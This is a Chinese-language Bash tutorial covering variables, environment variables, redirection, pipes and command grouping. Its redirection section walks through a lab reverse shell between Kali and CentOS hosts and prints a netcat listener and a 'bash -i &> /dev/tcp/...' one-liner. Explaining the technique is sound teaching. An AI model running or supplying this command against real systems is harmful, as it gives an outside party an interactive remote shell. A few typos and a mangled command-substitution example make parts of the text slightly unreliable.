1.Shell变量的分类
内部变量:
系统提供,用户只能使用不能修改。
环境变量:
决定了用户的工作的环境,不需要定义可直接在shell中使用,某些可修改。
用户变量
用户建立和修改,也称为用户自定义变量。
2.Shell中变量的定义和输出
格式:name=string
name为变量名,以字母或下划线开头的字母、数字和下换线字符序列。
“=”为赋值符号,两边不能直接跟空格,否则shell将视为命令。
string是被赋予的变量值,若string中包含空格、制表符和换行符,则string必须用’string’或”string”的形式,双引号允许变量替换,单引号不允许。
通常在变量名前加$符号引用变量的值,变量的输出可使用shell的内置命令echo或printf。
可以属于unset命令取消shell变量的声明
3.Shell变量的作用域
局部变量:
作用范围仅限制在其命令行所在的shell或当前shell脚本执行过程中。
全局变量:
作用范围包含定义该变量的shell以及其所有子shell。
4.Shell环境变量
环境变量定义shell的运行环境,shell用环境变量来确定查找路径、注册目录、终端类型、终端名称、用户名等。
环境变量名 | 说明 | 环境变量名 | 说明 |
---|---|---|---|
BASH | bash的完整路径名 | PATH | bash寻找看执行文件的搜索路径 |
EDITOP | 应用程序中默认使用的编辑器 | ENV | linux查找配置文件的路径 |
HISTFILE | 用于储存历史命令的文化 | PS1 | 命令行的一级提示符 |
HISTSIZE | 历史命令列表的大小 | PS2 | 命令行的二级提示符 |
HOME | 当前用户的用户目录 | PWD | 当前工作目录 |
OLDPWD | 前一个工作目录 | USER | 当前用户名 |
IFS | 用于分割命令行参数的分割符 | UID | 当前用户的uid |
SECONDS | 当前shell开始后流逝的秒数 | TERM | 当前用户的终端类型 |
5.重定向/ bash反弹shell原理
所谓重定向,就是不使用系统的标准输入端口、标准输出端口或标准错误端口,而进行重新的指定。
标准设备
名称 | 代号 | 代表意思 | 设备 | 说明 |
---|---|---|---|---|
STDIN | 0 | 标准输入 | 键盘 | 命令在执行时所要的输入数据通过它来取得 |
STDOUT | 1 | 标准输出 | 显示器 | 命令执行后的输出结果从该端口送出 |
STDERR | 2 | 标准错误 | 显示器 | 命令执行时的错误信息通过该端口送出 |
重定向符
重定向符 | 说明 |
---|---|
< | 实现输入重定向。 |
<<!……! | 实现输入重定向的特例,即here文件。 |
>或>> | 实现输出重定向,>实现覆盖式输出重定向,>>实现追加式输出重定向 |
2>或2>> | 实现错误重定向。 |
&> | 同时实现输出重定向或错误重定向。 |
了解了上面这些,我们来看一下利用重定向在linux下反弹shell的原理。
Kail linux 192.168.3.79
Centos7 192.168.3.83
nc: TCP/IP 协议中的swiss army knife,是一个使用tcp或udp协议通过网络连接来读取数据的一个工具。
bash:unix shell 参数 -i创建一个交互式的bash
如果我们不使用输出重定向,echo输出的字符会显示在本地的屏幕上。
在kail下开启端口监听 nc -lvp 9999
,然后我们使用输出重定向符将字符输出到kail的显示屏上。加上bash -i 以后我们在192.168.3.79和192.168.3.83之间建立了一个交互式的bash,将192.168.3.83的输出重定向到了192.168.3.79。
接下来尝试一下从192.168.3.79输入重定向到192.168.3.83。
知道了输入重定向和输出重定向的原理,把这两个结合其他,就实现了shell的反弹。
nc -lvp 9999
bash -i &> /dev/tcp/192.168.3.79/9999 0<&1
kail本地监听端口9999,centos输入重定向到192.168.3.79,输出也重定向到192.168.3.79。就相当于centos的命令输入、显示结果都在192.168.3.79的终端屏幕上。也就实现了shell的反弹。
6.管道/命令替换/命令组合
管道:
管道线中的每一条命令作为一个单独的进程运行,前一个命令的输出作为下一个命名的输入。单向,从左到右顺序执行。
格式:命令1|命令2|…….
命令替换:
shell中的命令参数可以由另一个命令执行的结果替代。
格式:$cmd1cmd2 arguments
$cmd1 $(cmd2 arguments)
命令组合:
在一个命令行上使用若干shell的元字符将若干命令组合在一起。
命令行形式 | 说明 |
---|---|
CMD1;CMD2 | 顺序执行一组命令序列 |
{MD1;MD2;} | 在当前shell中执行一组命令序列 |
(CMD1;CMD2) | 在子shell 中执行一组命令序列 |
CMD1&&CMD | 与逻辑,CMD1成功才执行2 |
CMD1||CMD2 | 或逻辑,CMD1失败才执行2 |